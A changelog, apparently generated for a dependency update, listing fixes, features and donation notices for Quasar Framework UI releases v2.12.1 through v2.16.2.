[`v2.16.2`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.16.2) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.16.1...quasar-v2.16.2) #### Fixes - feat+fix(ui): ensure Quasar can be used without Quasar CLI or [@&#8203;quasar/vite-plugin](https://github.com/quasar/vite-plugin) or vue-cli-plugin-quasar [#&#8203;17174](https://github.com/quasarframework/quasar/issues/17174) - fix(QInput): declare FileList as possible modelValue type (QInput can be used with type="file") - fix(QField): unexpected data clearing with "clearable" prop enabled [#&#8203;17113](https://github.com/quasarframework/quasar/issues/17113) - fix(QInput): lazy model + clearable - not emitting "change" event on clear btn - fix(QField): button in slots gets focus+click after QField focuses [#&#8203;17177](https://github.com/quasarframework/quasar/issues/17177) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.16.1`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.16.1) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.16.0...quasar-v2.16.1) #### Fixes - fix(ui): correctly declare typings with "exports" [#&#8203;17172](https://github.com/quasarframework/quasar/issues/17172) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.16.0`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.16.0) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.15.4...quasar-v2.16.0) #### New Converted "quasar" package internal build system to ESM (built dist/\*.js are now renamed). Will require these minimum CLI/plugin versions (if using any of the following): - q/app-vite v1.9+ / v2.0.0-beta.12+ - q/app-webpack v3.13+ / v4.0.0-beta.13+ - q/vite-plugin v1.7+ - vite-cli-plugin-quasar v5.1+ If you have hard-coded imports from quasar/lang or quasar/icon-set with the extension specified (eg. `quasar/lang/de.mjs`) please change the extension to `.js`. #### Fixes - fix(QDate): direction declaration ([#&#8203;17145](https://github.com/quasarframework/quasar/issues/17145)) - fix(QCarousel): declare navigationPosition before using it - fix(QBtnDropdown/QBtn): declared properties (btn related & router-link related) - fix(QTooltip): should not end up with "context-menu" as prop after injecting useAnchor composable - fix(QField/QFile/QInput/QSelect): declare "maxlength" prop only for components using it; popupShow & popupHide should be declared only for QSelect; correctly override virtualScrollItemSize for QSelect; correctly override modelValue for QInput - fix(QDate/QTime): harden the modelValue validation - fix(QTooltip): correctly override transition props definition - fix(QEditor): remove unused emit (mouseup, keyup, touchend) - fix(QOptionGroup): add "type" for "type" prop definition - fix(QFab/QFabAction): QFab > hideLabel prop definition; JSON fixes on default values - fix(QInnerLoading): size prop default value & JSON type - fix(QSlider): remove unused prop (hideSelection); JSON > model-value default value - fix(QSplitter): "dark" definition - fix(QPageScroller): "offset" prop definition - fix(ui): multiple components > scrollTarget prop definition #### JSON fixes - fix(QCircularProgress): JSON > font-size should not have a default value - fix(QDrawer): JSON > mini-width wrong default value - fix(QEditor): JSON > "toolbar" & "paragraph-tag" default values - fix(QImg): JSON > initial-ratio wrong default value - fix(QKnob): JSON > some prop default values - fix(QKnob): JSON > missing "rounded" prop definition - fix(QPage): JSON > style-fn default value and examples - fix(QPagination): JSON > some default values - fix(QParallax): JSON > speed default value - fix(QPopupEdit): JSON > "validate" default value & examples - fix(QRange): JSON > model-value default value - fix(QSelect): JSON > missing "maxlength" prop definition; "tabindex" missing default value - fix(QSeparator): JSON > "spaced" default value - fix(QSkeleton): JSON > "animation-speed" default value - fix(QSpinner/...): JSON structure; JSON > "size" type definition - fix(QTabPanels): JSON > missing "dark" prop definition - fix(QTable): JSON > some props default values - fix(QTimeline): JSON > "color" prop default value - fix(QTree): JSON > filter-method default value & examples - fix(useRouterLink): JSON > active-class and exact-active-class default values - fix(QCarousel/QEditor/QTable): JSON > missing "update:fullscreen" event definition - fix(useValidate): JSON > lazy-rules default value - fix(QCarousel/QStepper/QTabPanels): JSON > model-value should be "required" - fix(QCarousel): JSON > some default values - fix(ui): JSON > model-value definition for QBtnDropdown/QDialog/QDrawer/QExpansionItem/QFab/QMenu/QTooltip/QFab - fix(QCheckbox/QToggle): JSON > model-value default value - fix(QTable/QVirtualScroll): JSON > "virtualScrollSliceSize" default value; QVirtualScroll "items-size" default value - fix(QRadio): JSON > "model-value" & "val" types #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.15.4`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.15.4) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.15.3...quasar-v2.15.4) #### Changes - fix(AppFullscreen): JSON -> set activeEl and isActive as "reactive" - fix(useRenderCache): correctly clear cache; correctly check for property - fix(Platform): ios always undefined ([#&#8203;17130](https://github.com/quasarframework/quasar/issues/17130)) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.15.3`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.15.3) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.15.2...quasar-v2.15.3) #### New - feat(ui): expose IconSet as a regular Quasar plugin (import { IconSet } from 'quasar') - feat(ui): expose Lang as a regular Quasar plugin (import { Lang } from 'quasar') - feat(ui): tweak JSONs, add new props & enforce more validations on building them - feat(ui/format): humanStorageSize -> new extra param (decimals) -> (value, decimals = 1) - feat(LocalStorage/SessionStorage): add "hasItem", "removeItem", "setItem" aliases (matches web storage specs) [#&#8203;17109](https://github.com/quasarframework/quasar/issues/17109) - refactor(ui): folder structure for plugins & utils & composables #### Fixes - fix(ui): the UMD generated icon-set files in dist/icon-set - fix(QDialog): focus() method should correctly handle the selector param (if received) - fix(QBtn): the "click()" method should not trigger anything if QBtn is disabled - fix(Platform): Safari version number detection [#&#8203;17111](https://github.com/quasarframework/quasar/issues/17111) - fix(ui): make capacitor/cordova config properties type optional ([#&#8203;17056](https://github.com/quasarframework/quasar/issues/17056)) - fix(ui): QTooltip & use-anchor JSON -> removed some erroneous "values" keys - fix(QField/QFile/QInput/QSelect): JSON -> correctly define the "name" prop - fix(QTabPanel): JSON > remove "dark" prop (not a valid prop) - fix(QSelect/QVirtualScroll): add type "Component" to some JSON "ref" - fix(lang): ukrainian translate "editor.outdent" ([#&#8203;17083](https://github.com/quasarframework/quasar/issues/17083)) - fix(LocalStorage/SessionStorage): JSON definition for getIndex() - fix(SessionStorage/LocalStorage): better encoding/decoding for Date objects - fix(QChip): JSON > add missing "update:model-value" event #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.15.2`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.15.2) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.15.1...quasar-v2.15.2) #### Changes - feat(QDialog/QMenu): ease testing of teleported content - fix(ui): useInterval was not correctly exported [#&#8203;17021](https://github.com/quasarframework/quasar/issues/17021) - fix(ui): Platform on Edge should be normalized to 'edge' [#&#8203;17039](https://github.com/quasarframework/quasar/issues/17039) - fix(QExpansionItem): header-slot scope > detailsId is always undefined - fix(QCarouselSlide): JSON API - duplicated examples for "name" prop - chore(ui): move directives into individual folders (preparing the new testing) - chore(ui): move plugins into individual folders (prepare the new testing) Example of how you can target the teleported content of a QDialog/Qmenu in your testing: ```js const wrapper = mount(QDialog, { ... }) const teleportedWrapper = wrapper.findComponent({ name: 'QPortal' }) ``` #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.15.1`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.15.1) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.15.0...quasar-v2.15.1) #### Changes - feat(ui): NEW composable -> useInterval() [#&#8203;17000](https://github.com/quasarframework/quasar/issues/17000) - fix(QColor): slider triggers "Uncaught RangeError: Maximum call stack size exceeded" in onHueChange (fix [#&#8203;16999](https://github.com/quasarframework/quasar/issues/16999)) ([#&#8203;17001](https://github.com/quasarframework/quasar/issues/17001)) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.15.0`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.15.0) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.14.7...quasar-v2.15.0) #### New - feat(ui): new composable: useRenderCache() - feat(ui): new composable: useTick() - feat(ui): new composable: useTimeout() - feat(ui): new composable: useSplitAttrs() - feat(ui): new composable: useHydration() - feat(ui): new composable - useId() [#&#8203;16792](https://github.com/quasarframework/quasar/issues/16792) - feat(QImg): new prop -> error-src (String) - feat(QSelect): new prop: popup-no-route-dismiss (Boolean) [#&#8203;6420](https://github.com/quasarframework/quasar/issues/6420) - feat(QDialog): new prop: backdrop-filter (String) [#&#8203;16971](https://github.com/quasarframework/quasar/issues/16971) - perf(QColor): small tweak: refactor some events without useCache() #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.14.7`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.14.7) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.14.6...quasar-v2.14.7) #### Changes - feat(ui): new language pack - ms-MY ([#&#8203;16977](https://github.com/quasarframework/quasar/issues/16977)) - fix(ui): add missing api/types for VIntersection (fix: [#&#8203;16867](https://github.com/quasarframework/quasar/issues/16867)) ([#&#8203;16958](https://github.com/quasarframework/quasar/issues/16958)) - chore(ui): remove obsolete "stylint ignore" comments #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.14.6`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.14.6) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.14.5...quasar-v2.14.6) #### New - feat(QImg): new prop -> loading-show-delay [#&#8203;16932](https://github.com/quasarframework/quasar/issues/16932) - feat(ui): new language - Tagalog(tl) ([#&#8203;16943](https://github.com/quasarframework/quasar/issues/16943)) - internal(ui): changed UI build system #### Fixes - fix(ui): Platform -> use navigator.userAgentData.mobile when available + other tweaks [#&#8203;16921](https://github.com/quasarframework/quasar/issues/16921) - fix(ui): provide correct types for Quasar.lang (fix: [#&#8203;14569](https://github.com/quasarframework/quasar/issues/14569)) ([#&#8203;16936](https://github.com/quasarframework/quasar/issues/16936)) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.14.5`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.14.5) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.14.4...quasar-v2.14.5) #### Fixes - fix+refactor(QCard): border radius management; add exceptions for QInnerLoading and QResizeObserver (with object) [#&#8203;16909](https://github.com/quasarframework/quasar/issues/16909) - chore(QNoSsr): small tweaks #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.14.4`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.14.4) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.14.3...quasar-v2.14.4) #### Fixes - fix(QImg): correctly set "alt" prop on the img tag [#&#8203;16886](https://github.com/quasarframework/quasar/issues/16886) - fix(QSliderItem): avoid Vue reusing elements and thus wrongly assigning slot refs [#&#8203;16902](https://github.com/quasarframework/quasar/issues/16902) - fix(ui/lang): German Abbreviation for March potentially wrong [#&#8203;16901](https://github.com/quasarframework/quasar/issues/16901) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.14.3`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.14.3) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.14.2...quasar-v2.14.3) #### Fixes - **Vue 3.4** --> fix(ui): Hydration issues with Vue 3.4 (QField/QInput/..., QBtnDropdown, QExpansionItem, QFab) [#&#8203;16792](https://github.com/quasarframework/quasar/issues/16792) - **Vue 3.4** --> fix(Dark): \[Vue 3.4] Hydration issue with Dark Quasar plugin on SSR [#&#8203;16818](https://github.com/quasarframework/quasar/issues/16818) - fix(QAjaxBar): fix infinite fetch loop in watchEffect [#&#8203;16767](https://github.com/quasarframework/quasar/issues/16767) ([#&#8203;16780](https://github.com/quasarframework/quasar/issues/16780)) - fix(ui): expose updateScrollTarget method for QInfiniteScroll ([#&#8203;16182](https://github.com/quasarframework/quasar/issues/16182)) - fix(QTab): softError.message is undefined when opening tab with control-key [#&#8203;16791](https://github.com/quasarframework/quasar/issues/16791) - fix(QField/QInput/...): lazy validation breaks when clearable button is clicked [#&#8203;16723](https://github.com/quasarframework/quasar/issues/16723) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.14.2`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.14.2) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.14.1...quasar-v2.14.2) #### Fixes - fix(QSlider/QRange): when step is 0 -> QSlider key change is incorrect & QRange snaps to integer on dragRange [#&#8203;16700](https://github.com/quasarframework/quasar/issues/16700) - fix(QRange): dragRange interval when using inner-min/max - fix(a11y): remove `aria-readonly` from labels for QField, QCodeol, QDate, QEditor [#&#8203;16705](https://github.com/quasarframework/quasar/issues/16705) ([#&#8203;16708](https://github.com/quasarframework/quasar/issues/16708)) - fix(QResizeObserver): trigger() method not attached correctly when using a native Observer [#&#8203;16697](https://github.com/quasarframework/quasar/issues/16697) - fix(QInput/QField/...): when lazy-rules -> should not trigger validation after first focusout and every input change - fix(Notify): allow exponential notation for the "timeout" value #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.14.1`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.14.1) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.14.0...quasar-v2.14.1) #### Fixes - fix(QBtn): "stack" set to undefined should not affect icon spacing [#&#8203;16494](https://github.com/quasarframework/quasar/issues/16494) - fix(ui/lang): Update ms.mjs ([#&#8203;16610](https://github.com/quasarframework/quasar/issues/16610)) - fix(QSlider/QRange): slider value should start from `innerMin` instead of `min` on drag [#&#8203;16614](https://github.com/quasarframework/quasar/issues/16614) ([#&#8203;16615](https://github.com/quasarframework/quasar/issues/16615)) - fix(QCircularProgress): [#&#8203;16586](https://github.com/quasarframework/quasar/issues/16586) account for stroke-linecap behavior for rounded style ([#&#8203;16593](https://github.com/quasarframework/quasar/issues/16593)) - fix(QDate): the "today" btn should keep time from model when available (and not reset it) [#&#8203;16623](https://github.com/quasarframework/quasar/issues/16623) - fix(QTime): TS type for the return value of "options" prop [#&#8203;16587](https://github.com/quasarframework/quasar/issues/16587) - fix(QSelect): "option" slot has incorrect "selected" param value when the option is disabled [#&#8203;16567](https://github.com/quasarframework/quasar/issues/16567) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.14.0`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.14.0) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.13.1...quasar-v2.14.0) #### Changes - **Upgraded to the latest Sass v1 specs** -- this will allow you to use the latest Sass v1 features in your own code too! - fix(QImg): API - `@error` param definition [#&#8203;16545](https://github.com/quasarframework/quasar/issues/16545) #### Possible breaking changes for Sass users! When using Quasar UI (this package) with our Quasar CLI or our Vite plugin, it will require the latest Sass v1 (which has breaking changes -- though your Sass code will work albeit with deprecation banners on the console). It will be easy for you to upgrade to the newer Sass requirements for your code (and most might not even need anything changed). The console logs will tell you what lines to change and to what exactly. There is also a sass-migrator tool available (written by the Sass team). We have postponed this moment as much as possible and we apologize for introducing this change in a minor version, but a major version for something so small is not really feasible nor desired (and again, it is due to Sass introducing changes in one of their minor versions). ##### If using Quasar CLI Minimum quasar/app-vite supported version is v1.7.0 Minimum quasar/app-webpack supported version is v3.12.0 ##### If using Vite or Vue CLI Minimum "sass" version is v1.33.0 (although we recommend installing the very latest v1 available) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.13.1`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.13.1) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.13.0...quasar-v2.13.1) #### New - feat(QField): new prop -> "tag" [#&#8203;16548](https://github.com/quasarframework/quasar/issues/16548) #### Fixes - fix(QInput): Add datetime-local as allowed type fix: [#&#8203;15929](https://github.com/quasarframework/quasar/issues/15929), [#&#8203;13241](https://github.com/quasarframework/quasar/issues/13241) ([#&#8203;16483](https://github.com/quasarframework/quasar/issues/16483)) - fix(ui): lang mk -- split param ([#&#8203;16511](https://github.com/quasarframework/quasar/issues/16511)) - fix(ui): q-item within QMenu should be selectable using the space key (fix: [#&#8203;16107](https://github.com/quasarframework/quasar/issues/16107)) ([#&#8203;16364](https://github.com/quasarframework/quasar/issues/16364)) - fix(ui): mask: keep null value on clear [#&#8203;16346](https://github.com/quasarframework/quasar/issues/16346) ([#&#8203;16348](https://github.com/quasarframework/quasar/issues/16348)) - fix(ui): fix generic usage of QTreeNode type (fix: [#&#8203;15351](https://github.com/quasarframework/quasar/issues/15351)) ([#&#8203;16513](https://github.com/quasarframework/quasar/issues/16513)) - fix(QDate): updateViewModel if navigation limitations set (fix: [#&#8203;16500](https://github.com/quasarframework/quasar/issues/16500)) ([#&#8203;16501](https://github.com/quasarframework/quasar/issues/16501)) - fix(QImg): API - wrong [@&#8203;error](https://github.com/error) param name [#&#8203;16545](https://github.com/quasarframework/quasar/issues/16545) - fix(QField): incorrect use of <label for=FORM_ELEMENT> [#&#8203;16548](https://github.com/quasarframework/quasar/issues/16548) - fix(QField/QInput/...): wrong type ValidateProps.error / QFieldProps.error [#&#8203;16560](https://github.com/quasarframework/quasar/issues/16560) - fix(ui): types for component props where default value is null [#&#8203;16560](https://github.com/quasarframework/quasar/issues/16560) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.13.0`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.13.0) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.12.7...quasar-v2.13.0) #### New - feat(ui): New Languages - de-CH, de-DE ([#&#8203;16403](https://github.com/quasarframework/quasar/issues/16403)) - feat(QTable): column definition -> new prop: rawSort() -- handles rows with null/undefined as value, as opposed to the classic "sort" prop [#&#8203;16303](https://github.com/quasarframework/quasar/issues/16303) #### Fixes - feat(QTree): improve accessibility ([#&#8203;16404](https://github.com/quasarframework/quasar/issues/16404)) ([#&#8203;16405](https://github.com/quasarframework/quasar/issues/16405)) - fix(QTime): allow panning when model is empty [#&#8203;16428](https://github.com/quasarframework/quasar/issues/16428) - fix(QSelect): "input-debounce" prop should also affect the "input-value" event [#&#8203;16377](https://github.com/quasarframework/quasar/issues/16377) - fix(QSelect): backspace behavior [#&#8203;16481](https://github.com/quasarframework/quasar/issues/16481) - fix(QInput): when using mask then model is forced to empty string even if cleared (by clearable prop) [#&#8203;16346](https://github.com/quasarframework/quasar/issues/16346) - fix(QScrollArea): mouse events on contents trigger on first tap in iOS [#&#8203;16210](https://github.com/quasarframework/quasar/issues/16210) ([#&#8203;16211](https://github.com/quasarframework/quasar/issues/16211)) - fix(ui/build): remove internal definitions from the API JSONs #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.12.7`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.12.7) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.12.6...quasar-v2.12.7) #### Fixes - fix(QSlider): wrong ticks when inner-min is equal to inner-max [#&#8203;16323](https://github.com/quasarframework/quasar/issues/16323) - fix(QTree): Custom body slot is not hidden when using no-transition prop [#&#8203;16318](https://github.com/quasarframework/quasar/issues/16318) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.12.6`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.12.6) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.12.5...quasar-v2.12.6) #### Fixes - fix(ui): add ref property to QTable virtual-scroll event type (fix: [#&#8203;16246](https://github.com/quasarframework/quasar/issues/16246)) ([#&#8203;16251](https://github.com/quasarframework/quasar/issues/16251)) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.12.5`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.12.5) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.12.4...quasar-v2.12.5) #### Fixes - fix(ui): \[ts] define both UI and quasar.config file compatible types in quasarConfOptions (fix: [#&#8203;16046](https://github.com/quasarframework/quasar/issues/16046)) ([#&#8203;16213](https://github.com/quasarframework/quasar/issues/16213)) - fix(ui): \[ts] NamedColor type error [#&#8203;16204](https://github.com/quasarframework/quasar/issues/16204) ([#&#8203;16209](https://github.com/quasarframework/quasar/issues/16209)) - fix(ui): EventBus#once bug [#&#8203;16202](https://github.com/quasarframework/quasar/issues/16202) ([#&#8203;16203](https://github.com/quasarframework/quasar/issues/16203)) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.12.4`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.12.4) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.12.3...quasar-v2.12.4) #### New - feat(ui): Hindi (hi) language pack ([#&#8203;16162](https://github.com/quasarframework/quasar/issues/16162)) - feat(ui): add specific types for colors ([#&#8203;16088](https://github.com/quasarframework/quasar/issues/16088)) #### Fixes - fix(QSelect): [@&#8203;new-value](https://github.com/new-value) event calling done() with no params does not empty the input box [#&#8203;16159](https://github.com/quasarframework/quasar/issues/16159) - fix(ui): update normalize css to include latest svg fix [#&#8203;16132](https://github.com/quasarframework/quasar/issues/16132) - fix(QInput): preserve common browser behavior when a mask is used (fix [#&#8203;15801](https://github.com/quasarframework/quasar/issues/15801)). ([#&#8203;16112](https://github.com/quasarframework/quasar/issues/16112)) - fix(ui): list actions in quasarConfOptions for Notify ([#&#8203;16102](https://github.com/quasarframework/quasar/issues/16102)) - fix(ui): QSpinnerComment, QSpinnerCube, QSpinnerFacebook, QSpinnerHourglass quirk [#&#8203;16089](https://github.com/quasarframework/quasar/issues/16089) ([#&#8203;16090](https://github.com/quasarframework/quasar/issues/16090)) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.12.3`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.12.3) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.12.2...quasar-v2.12.3) #### Fixes - fix(ui): correctly augment QuasarUIConfiguration type (fix: [#&#8203;16046](https://github.com/quasarframework/quasar/issues/16046)) - fix(ui): fix LoadingBar defaults type ([#&#8203;16049](https://github.com/quasarframework/quasar/issues/16049)) - fix(ui): allow dynamic names in QEditorSlots type ([#&#8203;16069](https://github.com/quasarframework/quasar/issues/16069)) - feat(ui): generate types for vue directives ([#&#8203;16068](https://github.com/quasarframework/quasar/issues/16068)) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.12.2`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.12.2) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.12.1...quasar-v2.12.2) #### Fixes - fix(ui): menu/tooltip positioning quirk [#&#8203;11247](https://github.com/quasarframework/quasar/issues/11247) - fix(ui): click-outside triggered when tooltip is active in dialog, [#&#8203;15974](https://github.com/quasarframework/quasar/issues/15974) ([#&#8203;16023](https://github.com/quasarframework/quasar/issues/16023)) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.12.1`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.12.1) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.12.0...quasar-v2.12.1) #### Features - feat(ui): Improve fontawesome-v6-pro.mjs ([#&#8203;15963](https://github.com/quasarframework/quasar/issues/15963)) - feat(ui): Improve es.mjs language pack ([#&#8203;15964](https://github.com/quasarframework/quasar/issues/15964)) #### Fixes - fix(QMenu/QTooltip): position engine quirk when target is not ready yet -- resulting in jumping menus/tooltips [#&#8203;11247](https://github.com/quasarframework/quasar/issues/11247) - fix(QEditor): Event names for link toolbar cause warning ([#&#8203;15826](https://github.com/quasarframework/quasar/issues/15826)) - fix(QSelect): ignore most key commands when QSelect is not editable [#&#8203;15808](https://github.com/quasarframework/quasar/issues/15808) ([#&#8203;15819](https://github.com/quasarframework/quasar/issues/15819)) - fix(QTree): children type safety [#&#8203;15991](https://github.com/quasarframework/quasar/issues/15991) ([#&#8203;15992](https://github.com/quasarframework/quasar/issues/15992)) - fix(ui): Loosen rules param type in ValidationRule - fix(QFile): incomplete union type in QRejectedEntry\['failedPropValidation'] ([#&#8203;15913](https://github.com/quasarframework/quasar/issues/15913)) - fix(QUploader): exposed API is not reactive 